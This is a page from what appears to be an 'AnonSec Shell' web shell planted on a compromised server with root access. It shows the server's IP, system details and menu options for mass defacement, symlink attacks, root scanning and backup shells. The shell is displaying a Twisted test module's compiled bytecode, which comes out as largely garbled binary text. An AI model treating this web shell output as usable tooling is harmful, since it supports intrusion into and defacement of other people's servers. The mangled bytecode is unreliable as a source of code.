AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/python/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/python/test/__pycache__/test_release.cpython-310.pyc
o

5�@g��@s:dZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
mZddlm
Z
ddlmZddlmZddlmZddlmZmZmZmZmZmZmZmZmZmZmZm Z m!Z!dd	l"m#Z#dd
l$m%Z%ddl&m'Z'ddl(m)Z)m*Z*m+Z+ej,d
kr�dZ-ndZ-ddiZ.ddiZ/dZ-Gdd�de+�Z0dd�Z1dd�Z2dd�Z3Gdd�d�Z4Gdd�de0�Z5Gdd �d e0�Z6d!d"�Z7Gd#d$�d$e+�Z8e'd%�Z9ee9dud&�Gd'd(�d(e0��Z:Gd)d*�d*e+�Z;ee%d+�d,�Gd-d.�d.e+��Z<Gd/d0�d0e4�Z=Gd1d2�d2e=e0�Z>Gd3d4�d4e0�Z?Gd5d6�d6e+�Z@Gd7d8�d8e0�ZAdS)9z�
Tests for L{twisted.python.release} and L{twisted.python._release}.

All of these tests are skipped on platforms other than Linux, as the release is
only ever performed on Linux.
�N)�BytesIO�StringIO)�CalledProcessError)�skipIf)�Version)�release)
�
APIBuilder�BuildAPIDocsScript�CheckNewsfragmentScript�
GitCommand�IVCSCommand�NotWorkingDirectory�Project�
SphinxBuilder�
filePathDelta�findTwistedProjects�getRepositoryCommand�
replaceInFile�
runCommand)�FilePath)�which)�
requireModule)�FailTest�SkipTest�TestCase�win32z*Release toolchain only supported on POSIX.�GITHUB_HEAD_REF�pre-commit-ci-update-configz1234-some-branch-name�Not relevant within Debian.c@�eZdZdZdd�ZdS)�ExternalTempdirTestCasez�
    A test case which has mkdir make directories outside of the usual spot, so
    that Git commands don't interfere with the Twisted checkout.
    cCs"tjt��d�}|�tj|�|S)z)
        Make our own directory.
        )�dir)�tempfile�mkdtemp�
gettempdir�
addCleanup�shutil�rmtree)�self�newDir�r*�B/usr/lib/python3/dist-packages/twisted/python/test/test_release.py�mktempBszExternalTempdirTestCase.mktempN)�__name__�
__module__�__qualname__�__doc__r,r*r*r*r+r <sr cCsHtddd|�d��d�jddg�tddd|�d��d�jddg�d	S)
z�
    Set some config in the repo that Git requires to make commits. This isn't
    needed in real usage, just for tests.

    @param path: The path to the Git repository.
    @type path: L{FilePath}
    �git�configz--filez.gitz	user.namez	"someone"z
user.emailz"someone@someplace.com"N)r�child�path�r4r*r*r+�
_gitConfigKs$��
��r6cCstdd|jg�t|�dS)z�
    Run a git init, and set some config that git requires. This isn't needed in
    real usage.

    @param path: The path to where the Git repo will be created.
    @type path: L{FilePath}
    r1�initN)rr4r6r5r*r*r+�_gitInitisr8cOsd�t|i|���S)z�
    A convenience for generating _version.py data.

    @param args: Arguments to pass to L{Version}.
    @param kwargs: Keyword arguments to pass to L{Version}.
    z0from incremental import Version
__version__={!r})�formatr)�args�kwargsr*r*r+�
genVersionus�r<c@� eZdZdZdd�Zdd�ZdS)�StructureAssertingMixinz�
    A mixin for L{TestCase} subclasses which provides some methods for
    asserting the structure and contents of directories and files on the
    filesystem.
    cCs\|D])}|�|�}t||t�r|��|�|||�q|�||�dtj��	��qdS)a#
        Create a set of directories and files given a dict defining their
        structure.

        @param root: The directory in which to create the structure.  It must
            already exist.
        @type root: L{FilePath}

        @param dirDict: The dict defining the structure. Keys should be strings
            naming files, values should be strings describing file contents OR
            dicts describing subdirectories.  All files are written in binary
            mode.  Any string values are assumed to describe text files and
            will have their newlines replaced with the platform-native newline
            convention.  For example::

                {"foofile": "foocontents",
                 "bardir": {"barfile": "bar
contents"}}
        @type dirDict: C{dict}
        �
N)
r3�
isinstance�dict�createDirectory�createStructure�
setContent�replace�os�linesep�encode)r(�root�dirDict�xr3r*r*r+rC�s
�z'StructureAssertingMixin.createStructurecCs�dd�|��D�}|��D]C\}}|�|�}t|�r"|�||��n)t|t�r:|�|��|j�d��|�	||�n|�
����t
jd�}|�||�|�|�q
|ra|�d|j�d|���dSdS)a�
        Assert that a directory is equivalent to one described by a dict.

        @param root: The filesystem directory to compare.
        @type root: L{FilePath}
        @param dirDict: The dict that should describe the contents of the
            directory. It should be the same structure as the C{dirDict}
            parameter to L{createStructure}.
        @type dirDict: C{dict}
        cSsg|]}|���qSr*)�basename)�.0�eachr*r*r+�
<listcomp>�sz;StructureAssertingMixin.assertStructure.<locals>.<listcomp>z is not a dir!r?zThere were extra children in z: N)�children�itemsr3�callable�
assertTruer@rA�isdirr4�assertStructure�
getContent�decoderErFrG�assertEqual�remove�fail)r(rIrJrP�pathSegment�expectationr3�actualr*r*r+rU�s

�z'StructureAssertingMixin.assertStructureN)r-r.r/r0rCrUr*r*r*r+r>�sr>c@sBeZdZdZdd�Zddd�Zdd�Zd	d
�Zdd�Zd
d�Z	dS)�ProjectTestsz=
    There is a first-class representation of a project.
    cCs`|�t|�t|��t|t�d�d�}t|t�d�d�}t||�D]\}}|�|j|j�q!dS)zA
        Assert that two lists of L{Project}s are equal.
        �	directory)�keyN)rX�len�sorted�operator�
attrgetter�zipr_)r(�observedProjects�expectedProjects�observed�expectedr*r*r+�assertProjectsEqual�s
�
��z ProjectTests.assertProjectsEqualNcCs�|dur
t|���}|d�d�}|}|D]}|�|�}|��s$|��|�d��d�q|�d���|�d��t|����t	|�S)a(
        Make a Twisted-style project in the given base directory.

        @param baseDirectory: The directory to create files in
            (as a L{FilePath).
        @param version: The version information for the project.
        @return: L{Project} pointing to the created project.
        Nr�.�__init__.py��
newsfragments�_version.py)
rr,�splitr3�existsrBrDr<rHr)r(�version�
baseDirectory�segmentsr_�segmentr*r*r+�makeProject�s	
zProjectTests.makeProjectcGs&t|���}|D]}|�||�q|S)z�
        Create a series of projects underneath a temporary base directory.

        @return: A L{FilePath} for the base directory.
        )rr,rv)r(�versionsrsrrr*r*r+�makeProjects�szProjectTests.makeProjectscCs&d}|�|�}|�|��t|��dS)z5
        Project objects know their version.
        )�twisted��rN)rvrX�
getVersionr)r(rr�projectr*r*r+�test_getVersion�s
zProjectTests.test_getVersioncCs&ttd��}|�t|�d|j�dS)zH
        The representation of a Project is Project(directory).
        �barzProject(%r)N)rrrX�reprr_)r(�foor*r*r+�	test_repr�szProjectTests.test_reprcCsB|�dd�}t|�}|�|t|�d��t|�d��d��g�dS)z�
        findTwistedStyleProjects finds all projects underneath a particular
        directory. A 'project' is defined by the existence of a 'newsfragments'
        directory and is returned as a Project object.
        )r�rz�r)zfoo.barr��r�rN)rxrrjrr3)r(rs�projectsr*r*r+�test_findTwistedStyleProjectss��z*ProjectTests.test_findTwistedStyleProjects�N)
r-r.r/r0rjrvrxr~r�r�r*r*r*r+r^�s
r^c@r=)�UtilityTestsz<
    Tests for various utility functions for releasing.
    cCs4t��}dd�}|�ttj|�|�|t���dS)z�
        Test that the runChdirSafe is actually safe, i.e., it still
        changes back to the original directory even if an error is
        raised.
        cSs t�d�t�d�dddS)N�	releaseChr{r)rF�mkdir�chdirr*r*r*r+�
chAndBreak s

z+UtilityTests.test_chdir.<locals>.chAndBreakN)rF�getcwd�assertRaises�ZeroDivisionErrorr�runChdirSaferX)r(�cwdr�r*r*r+�
test_chdirszUtilityTests.test_chdircCs�d}tdd��
}|�|�Wd�n1swY|�dd�}tdddi�td��}|�|��|�Wd�n1s@wY|�dd�}tdddi�td��}|�|��|�Wd�dS1sjwYdS)z�
        L{replaceInFile} replaces data in a file based on a dict. A key from
        the dict that is found in the file is replaced with the corresponding
        value.
        zfoo
hey hey $VER
bar
zrelease.replace�wNz$VERz2.0.0z3.0.0)�open�writerErrX�read)r(�content�outfri�fr*r*r+�test_replaceInFile(s�
�
"�zUtilityTests.test_replaceInFileN)r-r.r/r0r�r�r*r*r*r+r��r�cst����fdd��}|S)aP
    A decorator which makes APIBuilder tests not fail because of intermittent
    network failures -- mamely, APIBuilder being unable to get the "object
    inventory" of other projects.

    @param func: The function to decorate.

    @return: A decorated function which won't fail if the object inventory
        fetching fails.
    c
sNz
�|i|��WdSty&}z|jd�d�r!td�|����d}~ww)Nrz%'Failed to get object inventory from zWThis test is prone to intermittent network errors. See ticket 8753. Exception was: {!r})rr:�
startswithrr9)�a�kw�e��funcr*r+�wrapperIs���z(doNotFailOnNetworkError.<locals>.wrapper)�	functools�wraps)r�r�r*r�r+�doNotFailOnNetworkError=s
r�c@r=)�DoNotFailTestsz/
    Tests for L{doNotFailOnNetworkError}.
    c
�Pt�fdd��}z|�WdSty'}z
��|t�WYd}~dSd}~ww)z�
        When the test raises L{FailTest} and the assertion failure starts with
        "'Failed to get object inventory from ", the test will be skipped
        instead.
        c���dd�dS)Nz(Failed to get object inventory from blah��rXr*�r(r*r+�innerf�z8DoNotFailTests.test_skipsOnAssertionError.<locals>.innerN)r��	Exception�assertIsInstancer�r(r�r�r*r�r+�test_skipsOnAssertionError_s��z)DoNotFailTests.test_skipsOnAssertionErrorc
r�)zz
        If there is a L{FailTest} that is not the intersphinx fetching error,
        it will be passed through.
        cr�)Nz	Error!!!!r�r�r*r�r*r+r�ur�z>DoNotFailTests.test_doesNotSkipOnDifferentError.<locals>.innerN)r�r�r�rr�r*r�r+� test_doesNotSkipOnDifferentErroros��z/DoNotFailTests.test_doesNotSkipOnDifferentErrorN)r-r.r/r0r�r�r*r*r*r+r�Zr�r��pydoctorzPydoctor is not present.c@sDeZdZdZedd��Zedd��Zedd��Zdd	�Zd
d�Z	dS)
�APIBuilderTestsz"
    Tests for L{APIBuilder}.
    c
Csnt�}|�td|�d}d}d}d}d}d}t|����|�}|��|�d��d	�||��	��t|���}	t
�}
|
�|||||	�|	�d
�}|�|�
�d|	j�d��|�d
|�d|�d�|����d�|	�d�}|�|�
�d|j�d��|�||����d�|�d
|�d|�d�|�����|�d||f|�����|�||�����|�|��d�dS)zt
        L{APIBuilder.build} writes an index file which includes the name of the
        project specified.
        �stdout�Foobar�quux�scheme:project�
scheme:source�text in docstring�should also appear in outputrlz(def foo():
    '{}'
def _bar():
    '{}'�
index.html�
API index � did not exist.z	<a href="z" class="projecthome">z</a>�+Project name/location not in file contents.�	quux.html�Package documentation file �,Docstring not in package documentation file.�/z-/__init__.py" class="sourceLink">(source)</a>z2<a class="sourceLink" href="%s/%s/__init__.py#L1">rmN)r�patch�sysrr,r3�makedirsrDr9rHr�buildrSrqr4�assertInrVrWrX�getvalue)
r(r��projectName�packageName�
projectURL�	sourceURL�	docstring�privateDocstring�	inputPath�
outputPath�builder�	indexPath�quuxPathr*r*r+�
test_build�s`
�
�
�
�
�
��
�zAPIBuilderTests.test_buildc	Cs(t�}|�td|�d}t|���}|�d�}|��|�d��d�|��	��|�d��t
dddd��	��t|���}t�}|�||�|�d	�}|�
|��d
|j�d��|�d|����d
�|�d�}|�
|��d|j�d��|�||����d�|�d|�����|�|��d�dS)z�
        L{BuildAPIDocsScript.buildAPIDocs} builds the API docs with values
        appropriate for the Twisted project.
        r�r�ryrlzdef foo():
    '{}'
ror{rr�r�r�zD<a href="https://twistedmatrix.com/" class="projecthome">Twisted</a>r�ztwisted.htmlr�r�zw<a href="https://github.com/twisted/twisted/tree/twisted-1.0.0/src/twisted/__init__.py" class="sourceLink">(source)</a>rmN)rr�r�rr,r3r�rDr9rHr<r	�buildAPIDocsrSrqr4r�rVrWrXr�)	r(r�r��projectRoot�packagePathr��scriptr��twistedPathr*r*r+�test_buildWithPolicy�sN

�
�
�
�
�
�
�z$APIBuilderTests.test_buildWithPolicycCs*t�}|�td|�d}d}d}d}d}d}t|����|�}|��|�d��d	�||��	��t|���}	t
�}
|
�|||||	�|	�d
�}|�|�
�d|j�d��|�||����d
�|�d|�����|�d|�����|�||�����|�d|�d������|�|��d�dS)zT
        The templates and System for Twisted includes adding deprecations.
        r�r�r�r�r�r�r�rlatfrom twisted.python.deprecate import deprecated
from incremental import Version
@deprecated(Version('Twisted', 15, 0, 0), 'Baz')
def foo():
    '{}'
from twisted.python import deprecate
import incremental
@deprecate.deprecated(incremental.Version('Twisted', 16, 0, 0))
def _bar():
    '{}'
@deprecated(Version('Twisted', 14, 2, 3), replacement='stuff')
class Baz:
    passr�r�r�r�z=foo was deprecated in Twisted 15.0.0; please use Baz instead.z&_bar was deprecated in Twisted 16.0.0.z?Baz was deprecated in Twisted 14.2.3; please use stuff instead.z
quux.Baz.htmlrmN)rr�r�rr,r3r�rDr9rHrr�rSrqr4r�rVrW�siblingrXr�)r(r�r�r�r�r�r�r�r�r�r�r�r*r*r+�test_buildWithDeprecated�sP
�
�
�
���z(APIBuilderTests.test_buildWithDeprecatedcCs@t�}|�t|jg�|�t|jdg�|�t|jgd��dS)z�
        SystemExit is raised when the incorrect number of command line
        arguments are passed to the API building script.
        r�)r�r�bazN)r	r��
SystemExit�main�r(r�r*r*r+�-test_apiBuilderScriptMainRequiresTwoArgumentsBsz=APIBuilderTests.test_apiBuilderScriptMainRequiresTwoArgumentscsDt�}g��fdd�|_|�ddg�|��td�td�fg�dS)zk
        The API building script invokes the same code that
        L{test_buildWithPolicy} tests.
        cs��||f�Sr�)�append)r��b��callsr*r+�<lambda>Ssz;APIBuilderTests.test_apiBuilderScriptMain.<locals>.<lambda>�hello�thereN)r	r�r�rXrr�r*r�r+�test_apiBuilderScriptMainLs
z)APIBuilderTests.test_apiBuilderScriptMainN)
r-r.r/r0r�r�r�r�r�r�r*r*r*r+r��s
@
5
B
r�c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�FilePathDeltaTestsz%
    Tests for L{filePathDelta}.
    cCs |�ttd�td��dg�dS)zU
        L{filePathDelta} can create a simple relative path to a child path.
        �/foo/barz/foo/bar/bazr�N�rXrrr�r*r*r+�test_filePathDeltaSubdir]s�z+FilePathDeltaTests.test_filePathDeltaSubdircCs"|�ttd�td��ddg�dS)ze
        L{filePathDelta} can traverse upwards to create relative paths to
        siblings.
        r�z/foo/baz�..r�Nr�r�r*r*r+�test_filePathDeltaSiblingDires�z/FilePathDeltaTests.test_filePathDeltaSiblingDircC�"|�ttd�td��gd��dS)zx
        L{filePathDelta} can create relative paths to totally unrelated paths
        for maximum portability.
        r�z	/baz/quux)r�r�r�r�Nr�r�r*r*r+�test_filePathNoCommonElementsn��z0FilePathDeltaTests.test_filePathNoCommonElementscCr�)z�
        L{filePathDelta} doesn't take into account final elements when
        comparing 2 paths, but stops at the first difference.
        z/foo/bar/bar/spamz/foo/bar/baz/spam)r�r�r��spamNr�r�r*r*r+�$test_filePathDeltaSimilarEndElementsxr�z7FilePathDeltaTests.test_filePathDeltaSimilarEndElementsN)r-r.r/r0r�r�r�r�r*r*r*r+r�Xs	
r�zsphinx-buildzSphinx not available.c@sleZdZdZdZe�e�ZdZe�e�Zdd�Zdd�Z	dd	�Z
d
d�Zdd
�Zdd�Z
dd�Zdd�ZdS)�SphinxBuilderTestsa�
    Tests for L{SphinxBuilder}.

    @note: This test case depends on twisted.web, which violates the standard
        Twisted practice of not having anything in twisted.python depend on
        other Twisted packages and opens up the possibility of creating
        circular dependencies.  Do not use this as an example of how to
        structure your dependencies.

    @ivar builder: A plain L{SphinxBuilder}.

    @ivar sphinxDir: A L{FilePath} representing a directory to be used for
        containing a Sphinx project.

    @ivar sourceDir: A L{FilePath} representing a directory to be used for
        containing the source files for a Sphinx project.
    zb                  source_suffix = '.rst'
                  master_doc = 'index'
                  a                   ==============
                   This is a Test
                   ==============

                   This is only a test
                   -------------------

                   In case you hadn't figured it out yet, this is a test.
                   cCs:t�|_t|���|_|j�d�|_|j��|j|_dS)zF
        Set up a few instance variables that will be useful.
        �docsN)	rr�rr,�twistedRootDirr3�	sphinxDirr��	sourceDirr�r*r*r+�setUp�s

zSphinxBuilderTests.setUpcCs4|j�d��|j���|j�d��|j���dS)a!
        Create a fake Sphinx project for test purposes.

        Creates a fake Sphinx project with the absolute minimum of source
        files.  This includes a single source file ('index.rst') and the
        smallest 'conf.py' file possible in order to find that source file.
        zconf.py�	index.rstN)r�r3rD�confContentrH�indexContentr�r*r*r+�createFakeSphinxProject�sz*SphinxBuilderTests.createFakeSphinxProjectcCsR|�|�}|�|���|��}|�t|�dk�|j�d�r'|�d|�dSdS)a\
        Helper which verifies that C{fileName} exists in C{fileDir} and it has
        some content.

        @param fileDir: A path to a directory.
        @type fileDir: L{FilePath}

        @param fileName: The last path segment of a file which may exist within
            C{fileDir}.
        @type fileName: L{str}

        @raise FailTest: If C{fileDir.child(fileName)}:

                1. Does not exist.

                2. Is empty.

                3. In the case where it's a path to a C{.html} file, the
                   content looks like an HTML file.

        @return: L{None}
        rz.htmls<bodyN)r3rSrqrVrar4�endswithr�)r(�fileDir�fileName�fpath�	fcontentsr*r*r+�verifyFileExists�s
�z#SphinxBuilderTests.verifyFileExistscCs"|��|j�|j�|��dS)zT
        Creates and builds a fake Sphinx project using a L{SphinxBuilder}.
        N)rr�r�r��verifyBuiltr�r*r*r+r��szSphinxBuilderTests.test_buildcCs*|��|j�|j��jg�|��dS)zV
        Creates and builds a fake Sphinx project as if via the command line.
        N)rr�r�r��parentr4rr�r*r*r+�	test_main�szSphinxBuilderTests.test_maincCs�t�}|�td|�|��|j�d��d��
}|�d�Wd�n1s'wY|�t	|j
j|j��j
g�}|�|jd�|�d|���|��dS)z�
        Creates and builds a fake Sphinx project as if via the command line,
        failing if there are any warnings.
        r�r�r�s
.. _malformed-link-target
Nr{zmalformed hyperlink target)rr�r�rr�r3r�r�r�r�r�r�rr4rX�coder�r�r)r(�outputr��	exceptionr*r*r+�test_warningsAreErrors�s��z)SphinxBuilderTests.test_warningsAreErrorscCsr|j�d�}|�|���|�d�}|�|���|�|d�|�|d�|�|d�|�|d�|�|d�dS)	z>
        Verify that a sphinx project has been built.
        �doc�doctreesr�z
genindex.htmlzobjects.invzsearch.htmlzsearchindex.jsN)r�r�rSrTr3�assertFalserqr)r(�htmlDir�
doctreeDirr*r*r+rs
zSphinxBuilderTests.verifyBuiltcC�|�t|jj|j�dS)zg
        Check that SphinxBuilder.build fails when run against a non-sphinx
        directory.
        N)r�rr�r�r�r�r*r*r+�test_failToBuildsz#SphinxBuilderTests.test_failToBuildN)r-r.r/r0r��textwrap�dedentr�r�rrr�r	r
rrr*r*r*r+r��s


$r�c@sLeZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�ZdS)�CommandsTestMixinzF
    Test mixin for the VCS commands used by the release scripts.
    rcC�t|���|_dSr�)rr,�tmpDirr�r*r*r+r�$�zCommandsTestMixin.setUpcC�"|�|j�}|�|j�|��dS)z�
        Calling the C{ensureIsWorkingDirectory} VCS command's method on a valid
        working directory doesn't produce any error.
        N)�makeRepositoryr�assertIsNone�
createCommand�ensureIsWorkingDirectory�r(�reposDirr*r*r+�1test_ensureIsWorkingDirectoryWithWorkingDirectory'�zCCommandsTestMixin.test_ensureIsWorkingDirectoryWithWorkingDirectorycCr)z�
        Calling the C{ensureIsWorkingDirectory} VCS command's method on an
        invalid working directory raises a L{NotWorkingDirectory} exception.
        N)r�r
rrrr�r*r*r+�4test_ensureIsWorkingDirectoryWithNonWorkingDirectory/s
�zFCommandsTestMixin.test_ensureIsWorkingDirectoryWithNonWorkingDirectorycCr)z�
        Calling the C{isStatusClean} VCS command's method on a repository with
        no pending modifications returns C{True}.
        N)rrrSr�
isStatusCleanr r*r*r+�test_statusClean:r#z"CommandsTestMixin.test_statusCleancCs2|�|j�}|�d��d�|�|j�|��dS)z�
        Calling the C{isStatusClean} VCS command's method on a repository with
        no pending modifications returns C{False}.
        �	some-file�	somethingN)rrr3rDrrr%r r*r*r+�test_statusNotCleanBsz%CommandsTestMixin.test_statusNotCleancCsb|�|j�}|�d�}|�d�|�|�|�|���|j�|�|�	d�|�
|��d�dS)zr
        Calling the C{remove} VCS command's method remove the specified path
        from the directory.
        r'r(FzFile still existsN)rrr3rD�commitRepositoryrSrqrrY�restatr)r(r!�testFiler*r*r+�test_removeKs



zCommandsTestMixin.test_removec	Cs�ddditdddd�dditdddd�d�d	�d
�}|�|j�}|�||�|�|�t|����d�}|j�	||�|�
||�dS)
z�
        The C{exportTo} VCS command's method export the content of the
        repository as identical in a specified directory.
        zHi this is 1.0.0.�READMEzHi this is 1.0.0ryr{rztwisted.web)rnro)rnro�web)z
README.rstry�exportN)r<rrrCr*rr,r3r�exportTorU)r(�	structurer!�	exportDirr*r*r+�test_exportZs���
zCommandsTestMixin.test_exportN)r-r.r/r0�skipr�r"r$r&r)r-r4r*r*r*r+rs	rc@s(eZdZdZdZeZdd�Zdd�ZdS)�GitCommandTestz^
    Specific L{CommandsTestMixin} related to Git repositories through
    L{GitCommand}.
    rcCst|�|S)z�
        Create a Git repository in the specified path.

        @type root: L{FilePath}
        @params root: The directory to create the Git repository into.

        @return: The path to the repository just created.
        @rtype: L{FilePath}
        )r8)r(rIr*r*r+r}s
zGitCommandTest.makeRepositorycCs<tdd|jdgt�|jd��tdd|jdddg�dS)	z�
        Add and commit all the files from the Git repository specified.

        @type repository: L{FilePath}
        @params repository: The Git repository to commit into.
        r1z-C�addz/*�commit�-m�hopN)rr4�glob)r(�
repositoryr*r*r+r*�s�zGitCommandTest.commitRepositoryN)	r-r.r/r0r5rrrr*r*r*r*r+r6ss
r6c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�RepositoryCommandDetectionTestz
    Test the L{getRepositoryCommand} to access the right set of VCS commands
    depending on the repository manipulated.
    cCrr�)rr,�reposr�r*r*r+r��rz$RepositoryCommandDetectionTest.setUpcCs$t|j�t|j�}|�|t�dS)zV
        L{getRepositoryCommand} from a Git repository returns L{GitCommand}.
        N)r8r>r�assertIsr)r(�cmdr*r*r+�test_git�s

z'RepositoryCommandDetectionTest.test_gitcCs|�tt|j�dS)z�
        L{getRepositoryCommand} from a directory which doesn't look like a Git
        repository produces a L{NotWorkingDirectory} exception.
        N)r�r
rr>r�r*r*r+�test_unknownRepository�sz5RepositoryCommandDetectionTest.test_unknownRepositoryN)r-r.r/r0r�rArBr*r*r*r+r=�s
r=c@r)�VCSCommandInterfaceTestszF
    Test that the VCS command classes implement their interface.
    cCs|�t�t��dS)z:
        L{GitCommand} implements L{IVCSCommand}.
        N)rSr�
implementedByrr�r*r*r+rA�sz!VCSCommandInterfaceTests.test_gitN)r-r.r/r0rAr*r*r*r+rC�srCc@s|eZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�ZdS)�CheckNewsfragmentScriptTestsz%
    L{CheckNewsfragmentScript}.
    rcCs�t|���|_t|j�tgd�|jjd�|j�d��d�tdd|j�d�jg|jjd�tgd�|jjd�t|���|_tdd|jj|jjg�t	|j�|�
td	t�dS)
N)r1�checkout�-b�trunk�r��teststest!r1r7)r1r8r9�initial�clone�environ)
rr,�originr8rr4r3rD�repor6r�rF�GENERIC_CI_ENVIRONr�r*r*r+r��s
 
z"CheckNewsfragmentScriptTests.setUpcCsRg}|�t��}t|j��g�Wd�n1swY|�|jjd�dS)z6
        Too few arguments returns a failure.
        N)z/Must specify one argument: the Twisted checkout)r�r�r
r�r�rXrr:�r(�logsr�r*r*r+�test_noArgs�s��z(CheckNewsfragmentScriptTests.test_noArgscC��tgd�|jjd�|j�d�}|�d�tdd|j|jg|jjd�tgd�|jjd�g}|�t��}t|j��	|jjg�Wd�n1sJwY|�
|jjd	�|�
|d
d�dS)zd
        If there are changes from trunk, then there should also be a
        newsfragment.
        �r1rFrG�mypatchrI�somefile�changer1r7�r1r8r9z	some fileN�r{����-No newsfragment found. Have you committed it?�
rrOr4r3rDr�r�r
r�r�rXrr:�r(rWrRr�r*r*r+�!test_diffFromTrunkNoNewsfragments�s
�z>CheckNewsfragmentScriptTests.test_diffFromTrunkNoNewsfragmentscCs|tgd�|jjd�g}|�t��}t|j��|jjg�Wd�n1s'wY|�|j	j
d�|�|dd�dS)ze
        If there are no changes from trunk, then no need to check the
        newsfragments
        rUrIN�rr[�9On trunk or no diffs from trunk; no need to look at this.)rrOr4r�r�r
r�r�rXrr:rQr*r*r+�test_noChangeFromTrunk�s��z3CheckNewsfragmentScriptTests.test_noChangeFromTrunkcCshg}|�t��}t|j��|jjg�Wd�n1swY|�|jj	d�|�|dd�dS)z9
        Running it on trunk always gives green.
        Nr`r[ra)
r�r�r
r�r�rOr4rXrr:rQr*r*r+�
test_trunks��z'CheckNewsfragmentScriptTests.test_trunkcCrT)z~
        Running it on a release branch returns green if there is no
        newsfragments even if there are changes.
        �r1rFrGzrelease-16.11111-9001rIrWrXr1r7rYNr`r[z/Release branch with no newsfragments, all good.r]r^r*r*r+�test_releases�
�z)CheckNewsfragmentScriptTests.test_releasecC��tgd�|jjd�|j�d��d�}|��|�d�}|�d�|j�d�}|�d�td	d
|j|jg|jjd�tgd�|jjd�g}|�t��}t|j	��
|jjg�Wd�n1sawY|�|jj
d
�|�|dd�dS)zd
        Running it on a release branch returns red if there are new
        newsfragments.
        rdrIryrn�	1234.miscrmrW�Boor1r7�r1r8r9�fragmentNrZr[z1No newsfragments should be on the release branch.�rrOr4r3r�rDr�r�r
r�r�rXrr:�r(rnrj�	unrelatedrRr�r*r*r+�test_releaseWithNewsfragments)s"�


�z:CheckNewsfragmentScriptTests.test_releaseWithNewsfragmentscCs�tgd�|jjd�|j�d�}|�d�tdd|j|jg|jjd�tgd�|jjd�g}|�tdt�|�t	��}t
|j��|jjg�Wd	�n1sQwY|�
|jjd
�|�
|dd�d	S)
z�
        Running it on the autoupdate branch returns green if there is no
        newsfragments even if there are changes.
        �r1rFrGrrIrWrXr1r7rYrMNr`r[z3Autoupdated branch with no newsfragments, all good.)rrOr4r3rDr�rF�PRECOMMIT_CI_ENVIRONr�r�r
r�r�rXrr:r^r*r*r+�test_preCommitAutoupdateEs �
��z5CheckNewsfragmentScriptTests.test_preCommitAutoupdatecCs�tgd�|jjd�|j�d��d�}|��|�d�}|�d�|j�d�}|�d�td	d
|j|jg|jjd�tgd�|jjd�g}|�tdt�|�	t
��}t|j��
|jjg�Wd
�n1shwY|�|jjd�|�|dd�d
S)zi
        Running it on the autoupdate branch returns red if there are new
        newsfragments.
        rorIryrnrgrmrWrhr1r7rirMNrZr[z<No newsfragments should be present on an autoupdated branch.)rrOr4r3r�rDr�rFrpr�r�r
r�r�rXrr:rlr*r*r+�)test_preCommitAutoupdateWithNewsfragments_s(�


��zFCheckNewsfragmentScriptTests.test_preCommitAutoupdateWithNewsfragmentscCs�tgd�|jjd�|j�d��d�}|��|�d�}|�d�tdd|jg|jjd�tgd	�|jjd�g}|�t��}t|j	��
|jjg�Wd
�n1sTwY|�|jj
d�|�|dd
�d
S)zR
        Running it on a branch with only a quotefile change gives green.
        �r1rFrG�	quotefilerIr��funzTwisted.Quotess	Beep boopr1r7)r1r8r9�quotesNr`r[z+Quotes change only; no newsfragment needed.rk)r(rurvrRr�r*r*r+�test_onlyQuotes~s

�z,CheckNewsfragmentScriptTests.test_onlyQuotescCrf)zn
        Running it on a branch with a fragment in the newsfragments dir added
        returns green.
        rsrIryrnrgrmrWrhr1r7�r1r8r9�newsfragmentNr`r[�%Found twisted/newsfragments/1234.miscrkrlr*r*r+�test_newsfragmentAdded��


�z3CheckNewsfragmentScriptTests.test_newsfragmentAddedcCrf)zo
        Running it on a branch with a non-fragment in the topfiles dir does not
        return green.
        rsrIry�topfilesz1234.txtrmrWrhr1r7)r1r8r9znot topfileNrZr[r\rk)r(r}�notFragmentrmrRr�r*r*r+�test_topfileButNotFragmentAdded�r|z<CheckNewsfragmentScriptTests.test_topfileButNotFragmentAddedcCs�tgd�|jjd�|j�d��d�}|��|�d�}|�d�|�d�}|�d�td	d
|j|jg|jjd�tgd�|jjd�g}|�t��}t|j	��
|jjg�Wd�n1s`wY|�|jj
d
�|�|dd�dS)z�
        Running it on a branch with a fragment in the topfiles dir added
        returns green, even if there are other files in the topfiles dir.
        rsrIryrnrgrmrWrhr1r7rxNr`r[rzrkrlr*r*r+�/test_newsfragmentAddedButWithOtherNewsfragments�s



�zLCheckNewsfragmentScriptTests.test_newsfragmentAddedButWithOtherNewsfragmentsN)r-r.r/r0r5r�rSr_rbrcrernrqrrrwr{rr�r*r*r*r+rE�s 
rE)Br0r�r;rcrFr&r�r"r�iorr�
subprocessr�unittestr�incrementalr�twisted.pythonr�twisted.python._releaserr	r
rrr
rrrrrrr�twisted.python.filepathr�twisted.python.procutilsr�twisted.python.reflectr�twisted.trial.unittestrrr�platformr5rprPr r6r8r<r>r^r�r�r�r�r�r�r�rr6r=rCrEr*r*r*r+�<module>s^<
>T*%V+V$

Anon7 - 2022
AnonSec Team